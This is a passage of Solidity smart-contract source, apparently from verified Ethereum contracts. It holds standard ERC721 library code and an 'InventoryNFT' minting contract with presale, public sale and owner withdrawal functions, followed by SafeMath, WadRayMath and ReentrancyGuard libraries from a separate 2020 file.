string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Adadress-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract InventoryNFT is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant MAX_TOKENS = 7000;
uint256 public constant PRICE = 0.00 ether;
uint256 public constant MAX_PER_MINT = 10;
uint256 public constant PRESALE_MAX_MINT = 10;
uint256 public constant MAX_TOKENS_MINT = 30;
uint256 public constant RESERVED_TOKENS = 300;
address public constant founderAddress = 0xB3A88B3b682316Dcd1e45f60C6ECd012fe73a473;
address public constant devAddress = 0x17a18727dB777776Ab5A3Bf686AA5fCfaf2b2738;
uint256 public reservedClaimed;
uint256 public numTokensMinted;
string public baseTokenURI;
bool public publicSaleStarted;
bool public presaleStarted;
mapping(address => bool) private _presaleEligible;
mapping(address => uint256) private _totalClaimed;
event BaseURIChanged(string baseURI);
event PresaleMint(address minter, uint256 amountOfTokens);
event PublicSaleMint(address minter, uint256 amountOfTokens);
modifier whenPresaleStarted() {
require(presaleStarted, "Presale has not started");
_;
}
modifier whenPublicSaleStarted() {
require(publicSaleStarted, "Public sale has not started");
_;
}
constructor(string memory baseURI) ERC721("InventoryNFT", "INVENTORY") {
baseTokenURI = baseURI;
}
function claimReserved(address recipient, uint256 amount) external onlyOwner {
require(reservedClaimed != RESERVED_TOKENS, "Already have claimed all reserved tokens");
require(reservedClaimed + amount <= RESERVED_TOKENS, "Minting would exceed max reserved tokens");
require(recipient != address(0), "Cannot add null address");
require(totalSupply() < MAX_TOKENS, "All tokens have been minted");
require(totalSupply() + amount <= MAX_TOKENS, "Minting would exceed max supply");
uint256 _nextTokenId = numTokensMinted + 1;
for (uint256 i = 0; i < amount; i++) {
_safeMint(recipient, _nextTokenId + i);
}
numTokensMinted += amount;
reservedClaimed += amount;
}
function addToPresale(address[] calldata addresses) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Cannot add null address");
_presaleEligible[addresses[i]] = true;
_totalClaimed[addresses[i]] > 0 ? _totalClaimed[addresses[i]] : 0;
}
}
function checkPresaleEligiblity(address addr) external view returns (bool) {
return _presaleEligible[addr];
}
function amountClaimedBy(address owner) external view returns (uint256) {
require(owner != address(0), "Cannot add null address");
return _totalClaimed[owner];
}
function mintPresale(uint256 amountOfTokens) external payable whenPresaleStarted {
require(_presaleEligible[msg.sender], "You are not eligible for the presale");
require(totalSupply() < MAX_TOKENS, "All tokens have been minted");
require(amountOfTokens <= PRESALE_MAX_MINT, "Cannot purchase this many tokens during presale");
require(totalSupply() + amountOfTokens <= MAX_TOKENS, "Minting would exceed max supply");
require(_totalClaimed[msg.sender] + amountOfTokens <= PRESALE_MAX_MINT, "Purchase exceeds max allowed");
require(amountOfTokens > 0, "Must mint at least one token");
require(PRICE * amountOfTokens == msg.value, "ETH amount is incorrect");
for (uint256 i = 0; i < amountOfTokens; i++) {
uint256 tokenId = numTokensMinted + 1;
numTokensMinted += 1;
_totalClaimed[msg.sender] += 1;
_safeMint(msg.sender, tokenId);
}
emit PresaleMint(msg.sender, amountOfTokens);
}
function mint(uint256 amountOfTokens) external payable whenPublicSaleStarted {
require(totalSupply() < MAX_TOKENS, "All tokens have been minted");
require(amountOfTokens <= MAX_PER_MINT, "Cannot purchase this many tokens in a transaction");
require(totalSupply() + amountOfTokens <= MAX_TOKENS, "Minting would exceed max supply");
require(_totalClaimed[msg.sender] + amountOfTokens <= MAX_TOKENS_MINT, "Purchase exceeds max allowed per address");
require(amountOfTokens > 0, "Must mint at least one token");
require(PRICE * amountOfTokens == msg.value, "ETH amount is incorrect");
for (uint256 i = 0; i < amountOfTokens; i++) {
uint256 tokenId = numTokensMinted + 1;
numTokensMinted += 1;
_totalClaimed[msg.sender] += 1;
_safeMint(msg.sender, tokenId);
}
emit PublicSaleMint(msg.sender, amountOfTokens);
}
function togglePresaleStarted() external onlyOwner {
presaleStarted = !presaleStarted;
}
function togglePublicSaleStarted() external onlyOwner {
publicSaleStarted = !publicSaleStarted;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
emit BaseURIChanged(baseURI);
}
function withdrawAll() public onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0, "Insufficent balance");
_widthdraw(devAddress, ((balance * 15) / 100));
_widthdraw(founderAddress, address(this).balance);
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{ value: _amount }("");
require(success, "Failed to widthdraw Ether");
}
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/**
*Submitted for verification at Etherscan.io on 2020-05-30
*/
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title WadRayMath library
* @author Aave
* @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)
**/
library WadRayMath {
using SafeMath for uint256;
uint256 internal constant WAD = 1e18;
uint256 internal constant halfWAD = WAD / 2;
uint256 internal constant RAY = 1e27;
uint256 internal constant halfRAY = RAY / 2;
uint256 internal constant WAD_RAY_RATIO = 1e9;
/**
* @return one ray, 1e27
**/
function ray() internal pure returns (uint256) {
return RAY;
}
/**
* @return one wad, 1e18
**/
function wad() internal pure returns (uint256) {
return WAD;
}
/**
* @return half ray, 1e27/2
**/
function halfRay() internal pure returns (uint256) {
return halfRAY;
}
/**
* @return half ray, 1e18/2
**/
function halfWad() internal pure returns (uint256) {
return halfWAD;
}
/**
* @dev multiplies two wad, rounding half up to the nearest wad
* @param a wad
* @param b wad
* @return the result of a*b, in wad
**/
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
return halfWAD.add(a.mul(b)).div(WAD);
}
/**
* @dev divides two wad, rounding half up to the nearest wad
* @param a wad
* @param b wad
* @return the result of a/b, in wad
**/
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 halfB = b / 2;
return halfB.add(a.mul(WAD)).div(b);
}
/**
* @dev multiplies two ray, rounding half up to the nearest ray
* @param a ray
* @param b ray
* @return the result of a*b, in ray
**/
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
return halfRAY.add(a.mul(b)).div(RAY);
}
/**
* @dev divides two ray, rounding half up to the nearest ray
* @param a ray
* @param b ray
* @return the result of a/b, in ray
**/
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 halfB = b / 2;
return halfB.add(a.mul(RAY)).div(b);
}
/**
* @dev casts ray down to wad
* @param a ray
* @return a casted to wad, rounded half up to the nearest wad
**/
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = WAD_RAY_RATIO / 2;
return halfRatio.add(a).div(WAD_RAY_RATIO);
}
/**
* @dev convert wad up to ray
* @param a wad
* @return a converted in ray
**/
function wadToRay(uint256 a) internal pure returns (uint256) {
return a.mul(WAD_RAY_RATIO);
}
/**
* @dev calculates base^exp. The code uses the ModExp precompile
* @return base^exp, in ray
*/
//solium-disable-next-line
function rayPow(uint256 x, uint256 n) internal pure returns (uint256 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rayMul(x, x);
if (n % 2 != 0) {
z = rayMul(z, x);
}
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
